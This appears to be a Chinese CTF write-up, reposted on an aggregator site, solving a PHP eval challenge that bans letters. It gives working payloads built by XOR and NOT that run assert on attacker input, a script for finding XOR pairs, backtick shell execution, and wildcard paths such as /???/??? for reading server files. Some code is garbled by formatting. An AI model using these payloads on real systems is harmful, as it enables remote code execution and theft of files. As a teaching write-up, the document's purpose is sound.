直接上幹貨:
題目:
<?php
show_source(__file__);
$mess=$_POST['mess'];
if(preg_match("/[a-zA-Z]/",$mess)){
die("invalid input!");
}
eval($mess);
?>
解決思路
看了代碼之後覺得是道普通的題目,對于`/a-zA-Z/`這個正則表達式,我們 可以利用PHP動态函數的特性,構造出字符串即可。 對于想要的字符串,我們可以通過以下三種方式來構造異或
對于PHP中的字符串,兩個字符串異或的結果是将兩個字符串逐位異或,返回 一個新字符串。那麼我們便可以使用此特性進行構造。 例如我們需要構造`phpinfo`,則可以用腳本得到`('0302181', '@[@[_^^')` 這兩個字符串,腳本如下: !!!!!!
valid="1234567890!@$%^*(){}[];\'\",.<>/?-=_`~"
answer="phpinfo"
tmp1,tmp2='',''
forcinanswer:
foriinvalid:
forjinvalid:
if(ord(i)^ord(j)==ord(c)):
tmp1 =i
tmp2 =j
break
else:
continue
break
print(tmp1,tmp2) !!!!!!!!!!!!!!!!!!!!!!
postdata提交: mess=$_="0302181"^"@[@[_^^";$_();
取反構造
和第一種類似,都是基于PHP字符串位運算的特點(會逐位進行位運算)。而 取反構造某些情況比異或構造要方便,因為異或的情況某些字符是無法直接通過 其他字符進行異或構造的,而取反卻可以利用漢字或者其他特殊字符進行構造 (不會有題目會限制某個漢字吧)。比如字母`s`我們可以通過`~('和'{2})`得 到。而這個時候如果要用異或去構造的話,你得找到兩個異或值為`s`的特殊字 符。取反構造的腳本和異或構造類似,在此不再給出。
自增構造
在PHP中,“ ’a’ == ‘b’” 這個特點是利用了PHP是弱類型語言的特性,在對變量進行操作的時候,PHP 會隐式的轉換其變量類型,很多代碼審計的題目也是利用了這一特性
遇到障礙
有了上面的思路後,而且也成功執行了`phpinfo()`,下一步是不是就可以直 接構造命令執行函數去進行讀取文件,當時我也是這麼想的,于是我構造了 `passthru(), system(), shell_exec(), exec()`等函數,都受到了阻礙,沒有 回顯,通過進一步的調試之後發現是禁用了這些函數(通過在函數後面加一個打 印函數觀察是否執行)。
在這裡我停留了很久,試過打印`$globALS`等都沒有任何有用的信息。最後 通 過 使 用 `glob()` 函 數 進 行 目 錄 掃 描 , 發 現 了 flag.php 文 件 , 以 及 `file_get_contents()`進行獲取,最終的payload如下: ?mess=$_="`0123"^"?`~``";${$_}[_](${$_}[__]);&_=assert&__=print_r(b ase64_encode(file_put_contents("flag.php")))
最後再将其界面就可以得到最終的flag了。在最終的payload中我沒有去一個 一 個 的 構 造 字 符 串 異 或 , 因 為 那 太 長 了 , 而 是 構 造 了 一 個 `$_POST[_]($_POST[__])`的動态函數,這樣就可以在其他參數位置直接寫函數 了。
當打印函數被禁用時
如果沒有了打印函數,意味着你無法看到回顯,這時候即使命令執行成功了 你也無法得到信息,這個時候你就得利用其他方式去獲取回顯了。 首先是網上很多blog使用的方式,phpinfo如果發現開啟了curl,或者其他文 件傳輸擴展的的話,可以自建一個靶機,将所有訪問信息存入數據庫或是文件, 然後将回顯信息發送到你的靶機地址,這樣你去看日志就可以了,這種方式不是 很方便而且有一定的局限性。這裡我要介紹的是一種新的方式
如果你使用過`Django`或者`jsp`開發web的話,你肯定知道輸出一個變量可
以使用`{{xxx}}`或是`<%=xxx%>`的方式,那麼在PHP中是否也有這種方式呢,答
案是肯定的,PHP中的``就可以将一個變量輸出,那麼如果使用它呢,你
隻需要構造如下的payload:“$_="xxx";?>”
這樣就可以将變量`$_`裡面的内容打印到屏幕上,而且關鍵的是這個輸出方
式默認是開啟的,管理員很容易就忽視這個選項。所以在做題時不妨一試。
其他的命令執行方式
當 `system` , `passthru` 等 不 能 用 時 , 網 上 會 告 訴 你 可 以 使 用
`popen,proc_open`這些管道命令去進行執行命令,當然這沒有問題,而這裡我向
你介紹一種新方式,使用反引号,在PHP中,被兩個反引号括起來的内容将會作為
shell命令執行,并将輸出信息返回,所以你可以構造下面的payload進行命令執
行:“$_=’ls’;”。
不能使用數字字母的命令執行
當不能使用字母數字時,當然你可以使用上述的方式構造字符串進行執行,
但是這裡提供一些新東西,對于linux中的shell是支持正則表達式的,當你忘記
某些字符時可以通過`? % *`來代替,經過測試,這裡的匹配方式也是按照順序進
行匹配,所以你可以查看你的linux中/bin目錄下面的順序,來獲取一些可以使用
的命令,比如:“/???/???
=> /bin/cat”
那麼這樣的話,如果要獲取`/var/www/html/index.php`(你得感謝apache默
認目錄如此之深),則可以直接使用“/???/??? /???/???/????/?????.???”來
獲取。
總結:
這篇文章隻是針對這道題而延展出的一些東西,在真正做題時,情況可能更
加複雜,例如限制長度,限制參數等等情況,而我們的做法也不可能千篇一律,
可能某些時候我們甚至會用到一些CVE漏洞。而本篇文章隻是告訴讀者一些可能以
前沒有見過的新東西
,更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!